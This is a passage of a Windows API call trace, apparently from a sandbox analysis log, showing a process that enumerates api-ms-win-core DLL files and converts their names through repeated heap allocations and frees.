RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x92c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.111] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x92c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.111] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x92c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.111] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x92c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0210.111] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.111] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.112] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x92c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.112] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x92c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.112] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x92c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.112] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.112] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.112] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x92c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.113] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x92c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.113] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x92c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.113] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.113] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.113] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x92c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.114] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x92c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.114] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x92c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.114] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.114] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.114] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.114] RtlAllocateHeap 